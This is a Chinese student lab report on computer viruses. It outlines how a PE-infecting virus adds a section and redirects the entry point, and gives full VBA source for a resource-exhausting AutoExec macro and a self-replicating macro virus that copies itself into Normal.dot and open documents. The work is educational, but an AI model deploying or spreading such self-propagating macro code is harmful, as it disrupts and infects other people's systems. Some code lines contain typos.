计算机病毒实验
实验名称: 病 毒 实 验 姓 名: 吴亦青 学 号: 081300206 班 级: 网络0801 指导老师: 韦俊银
实验内容:
1. PE文件感染实验
2. 宏病毒实验
实验一 PE文件感染实验 准备工作:
按实验指导修改virus.asm代码,并在dos下运行,生成virus.exe:
一:参照病毒感染PE文件的7个步骤,记录病毒是如何感染文件 (文字和截屏形式)
病毒感染文件过程(以感染文件ebookcode.exe 为例): 重定位,获得所有API地址:
点击virus.exe进行病毒的感染
通过软件Stud_PE可查看可执行文件ebookcode.exe的结构可查看文件内容:
1(判断目标文件开始的两个字节是否为“MZ”:
2(判断PE文件标记“PE”:
3(判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续:
4(读取IMAGE_FILE_HEADER的NumberOfSections域,获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节):
5(得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置):
6(得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)
节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移:
7(开始写入节表,感染文件:
二:在掌握Stud_PE工具的基础上,比较文件感染前后有哪些变化。
感染前:
1
2
3
4
对比感染后:
1
2
3
4
由上两图可以看出,感染前后有4处发生了变化:
1:PE文件头中入口点:
感染病毒后ebookedit.exe程序的入口点变成了病毒文件的入口点: 感染前: 感染后:
2:PointerToRawData域值,即该文件的偏移量发生了变化; 3:imag的大小发生了变化;
4:sections的数量发生了变化。
感染前:
感染后:
由.exe文件感染前后变化可知,PE病毒感染过程即在文件中添加一个新节,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。
程序染毒后运行结果:
1:首先执行病毒程序:
2:病毒代码执行完后执行宿主程序:
三:针对病毒源代码,指出与感染PE文件步骤相对应的程序段 1(判断目标文件开始的两个字节是否为“MZ”。
2(判断PE文件标记“PE”。
3(判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续。
4(获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节)。
5(得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始
位置)
6(得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)
节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。
7(开始写入节表
实验二 宏病毒实验
Step1:新建Word文档并打开
Step2:.点击word选项,选择“在功能区显示开发工具”选项
勾选红色区域
点击“开发工具”选项,点击“宏安全性”,点击“宏设置”,选择“启用所有
宏”“信任对VBA
对象模型的访问”
Step3:创建宏,命名AutoExec编辑
一些宏命名的作用:
1.
宏:
AutoExec:启动Word时加载全局
AutoNew:每次创建新文档
AutoClose:在关闭文档时
2.标准宏:
FileSave:保存文件
FileSaveAs:改名另存为文件
FileOpen:打开文件
Step4:编辑宏,语法上注意VBA版本保存(本实验采用的VBA6.3或以上
版本)
输入以下代码:
Sub AutoExec() Dim nm(4)
MsgBox "您好~我一直在等着您~" try:
On Error GoTo 0 On Error GoTo try test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() *5)
con = (con * nm(i))
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + " =?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + " *"
Next i
beg:
Beep
ans$ = InputBox("今天是 " + Date$ + " 号,跟你玩一个心算游戏 " + Chr$(13)
+ "若你答错,只好接受震撼教育.............." + Chr$(13) + tog$, "台湾 NO.1 Macro
Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
MsgBox "恭贺你答对了,按确定就告诉你想知道
的....", "台湾 NO.1 Macro Virus"
WordBasic.FileNewDefault
WordBasic.CenterPara
Beep
WordBasic.Insert "如何预防巨集病毒 "
WordBasic.InsertPara
Beep
WordBasic.Insert "
:"
WordBasic.Italic 1
WordBasic.Insert "不要看我....."
Else
For j = 1 To 20
Beep
WordBasic.FileNewDefault
Next j
WordBasic.CenterPara
WordBasic.Insert "巨集病毒"
GoTo try
End If
Wend
End Sub
:OFFICE程序和他们使用的语言:
Word 6.x Word7.x WordBasic
OFFICE97 VBA5.0
OFFICE2k VBA6.0
OFFICE XP VBA6.3 Step5:关闭所有Word(必须)
Step6:再次打开Word文档,宏病毒爆发 弹出刚刚编写的msgbox窗口
开始计算题代码程序
一次弹出20个窗口,直至资源耗尽
Step7:启动任务管理器结束进程
搜索winword.exe文件,并确定复制其位置
Step8:启用CMD,定位winword位置:
Cd C:\Program Files\Microsoft Office\Office12
输入命令,用参数来打开安全模式winword.exe /a
第一次安全模式
第二次新建文档
进行宏的打开设置 来禁用宏
Step9:搜索normal.dotm等模板文件,确定位置
并删除那个文件夹下的所有模板
Step10:简易摆脱宏完成
思考题
1. 上述病毒示例使用了宏的哪些功能,修改病毒的哪些部分可能会使其变成具备较强破坏力的恶性病毒。
答:
功能:1) 通过自动宏获得控制权
2) 打开文档时病毒便会被激活
3)通过Normal模板传播
4) DOC文档文件和DOT模板文件等会感染宏病毒
修改宏代码中try语句中所要执行的代码,修改程序进行恶意感染。 2. 编写宏代码,在打开word文档时出现“Happy Every Day!”的欢迎词。 Sub AutoExec()
MsgBox " Happy Every Day!"
End Sub
3. 验证下列宏代码的效果,对代码关键语句加以注释: 打开一个word 2003文档,然后按Alt+F11调用宏编写窗口(工具,宏,Visual Basic,宏编辑器),
在左侧的project—>Microsoft Word对象,ThisDocument中输入以上代码,保
存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行
以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的
ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为
Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代
码,可以加入适当的恶意代码,影响word的正常使用。
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
//文档打开时,病毒将自身复制到Normal.dot和当前文档的ThisDocument中
Ourcode =
ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
//函数名改变,当所有的word文档打开和关闭时,都将运行以上的病毒代码
If ThisDocument = NormalTemplate Then
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "MicroVirus by Content Security Lab"
End Sub
4. 根据宏病毒的特点和上述病毒示例,编写良性宏病毒程序,体会宏的运用。 Sub AutoExec()
MsgBox "欢迎使用~"
End Sub